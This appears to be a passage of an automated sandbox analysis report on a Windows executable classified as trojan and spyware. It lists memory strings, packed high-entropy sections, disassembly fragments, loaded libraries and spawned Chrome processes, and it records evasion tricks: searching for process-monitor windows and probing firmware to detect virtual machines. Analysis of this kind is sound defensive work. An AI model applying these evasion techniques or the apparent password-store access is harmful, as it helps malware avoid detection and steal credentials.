Source: file.exe, 00000001.00000003.1533835562.0000000006365000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545229023.00000000063FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534994990.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533414035.0000000006360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536585724.0000000006385000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1660820771.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539779171.00000000063B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540846266.00000000063C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535312519.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1574370292.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535920611.000000000638C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539642877.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545087100.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536106530.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531418301.0000000006113000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1542971442.00000000063D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533734038.00000000062BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1541104233.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1574297948.0000000005F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1528889865.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532684474.0000000006354000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1546392297.00000000063F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534770652.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531202701.0000000006360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545372117.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532515581.00000000062BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536766998.000000000645C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537582172.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534540362.0000000006371000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531130321.00000000062C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534210471.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1545816789.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1543258929.00000000063DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1541739379.00000000064F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539203153.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539098396.00000000063B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1530937528.0000000006000000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1535115051.000000000637E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1546551701.000000000654E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539502415.00000000064BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540495951.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1532981421.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538690480.00000000063A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538437356.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1544228718.000000000650C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537935078.000000000639C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1539893895.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1538049682.000000000648A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1544690539.00000000063F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1574338330.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540113733.00000000064BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1528889865.0000000006000000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1544472693.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1536467539.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533526024.0000000006411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1533930591.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000002.1670477967.00000000063B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1534649410.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1531028914.000000000611F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1540378651.00000000063C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.1537460048.0000000006481000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974927011245674
Source: file.exe	Static PE information: Section: hkjfghfg ZLIB complexity 0.9947554758308157

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/63@11/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000003.1375854225.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1370030538.0000000005E15000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1369783665.0000000005E44000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1912,i,18367878757296781263,2772418614693256820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1920,i,1634595659012258759,6139322719468599713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1912,i,18367878757296781263,2772418614693256820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1920,i,1634595659012258759,6139322719468599713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1858560 > 1048576

Source: file.exe

Static PE information: Raw size of hkjfghfg is bigger than: 0x100000 < 0x19dc00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 1.2.file.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hkjfghfg:EW;gtwwivgb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hkjfghfg:EW;gtwwivgb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c7b9b should be: 0x1ca114

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hkjfghfg
Source: file.exe	Static PE information: section name: gtwwivgb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_065474C8 push edx; mov dword ptr [esp], 65EF9E1Dh	1_2_0654714C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_065474C8 push esi; mov dword ptr [esp], 2F7F0DBCh	1_2_065494F2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_065474C8 push 6214B851h; mov dword ptr [esp], edi	1_2_06549501
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0655465E push 0EE9B259h; mov dword ptr [esp], edx	1_2_0655466C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0655465E push eax; mov dword ptr [esp], 6FDE4D39h	1_2_0655468F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0655465E push ecx; mov dword ptr [esp], eax	1_2_06554705
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654BE40 push 702EB2DEh; mov dword ptr [esp], ebx	1_2_0654C222
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06544E77 push edi; mov dword ptr [esp], esp	1_2_06548973
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06555E70 push eax; retf	1_2_06555E71
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654DE60 push ecx; ret	1_2_0654DE6F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06544E61 push 558BABD9h; mov dword ptr [esp], ebp	1_2_065486EF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06554E6A push 7DC989CCh; mov dword ptr [esp], ecx	1_2_0655593E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06554E6A push 645D37C8h; mov dword ptr [esp], ecx	1_2_06555949
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06554E6A push 6A41982Ch; mov dword ptr [esp], edx	1_2_06555AB4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06554E6A push 1DB3A145h; mov dword ptr [esp], ecx	1_2_06555ABC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06547617 push ebx; mov dword ptr [esp], edx	1_2_065471BF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06547617 push ecx; mov dword ptr [esp], edx	1_2_0654A563
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06554E04 push 77AC12E8h; mov dword ptr [esp], eax	1_2_06555343
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654D607 push ebx; mov dword ptr [esp], 15FE20C2h	1_2_0654D60B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654D607 push ebp; mov dword ptr [esp], eax	1_2_0654D616
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654D607 push 53B02DA1h; mov dword ptr [esp], ebx	1_2_0654D61E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654D607 push ecx; mov dword ptr [esp], ebx	1_2_0654D627
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654660B push edi; mov dword ptr [esp], eax	1_2_06549248
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654760B push esi; mov dword ptr [esp], esp	1_2_06548994
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654DE0B push ecx; ret	1_2_0654DE1A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654AE37 push 6F7370C6h; mov dword ptr [esp], edi	1_2_0654AE49
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_06550E27 push eax; mov dword ptr [esp], ebx	1_2_06550E36
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654AE21 push edx; mov dword ptr [esp], edi	1_2_0654B4B6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654B62C push ebp; mov dword ptr [esp], 00000050h	1_2_0654BE0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654B62C push eax; mov dword ptr [esp], ebp	1_2_0654BE72
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0654DEDB push ebx; ret	1_2_0654DEEA

Source: file.exe	Static PE information: section name: entropy: 7.974526844691932
Source: file.exe	Static PE information: section name: hkjfghfg entropy: 7.952823803062777

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

